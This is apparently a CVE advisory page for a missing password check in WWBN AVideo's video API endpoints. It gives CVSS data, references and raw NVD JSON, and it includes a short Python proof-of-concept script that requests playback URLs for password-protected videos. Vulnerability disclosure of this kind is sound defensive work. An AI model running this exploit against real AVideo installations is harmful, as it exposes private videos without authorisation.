CVE-2026-34369

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly. Commit be344206f2f461c034ad2f1c5d8212dd8a52b8c7 fixes the issue.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url, video_id):
    # The vulnerable endpoint
    url = f"{target_url}/object/get_api_video_file.json"
    
    # Payload data
    data = {
        "videos_id": video_id
    }
    
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            print("[+] Exploit successful!")
            print("[+] Video Source:", response.json())
        else:
            print("[-] Exploit failed.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    # Replace with actual target and video ID
    exploit("http://localhost", "1")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34369
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34369
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34369/
[4] VulDB https://vuldb.com/cve/CVE-2026-34369
[5] https://github.com/WWBN/AVideo/commit/be344206f2f461c034ad2f1c5d8212dd8a52b8c7
[6] https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh
[7] https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34369", "sourceIdentifier": "[email protected]", "published": "2026-03-27T19:16:42.737", "lastModified": "2026-03-31T18:50:13.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly. Commit be344206f2f461c034ad2f1c5d8212dd8a52b8c7 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/be344206f2f461c034ad2f1c5d8212dd8a52b8c7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}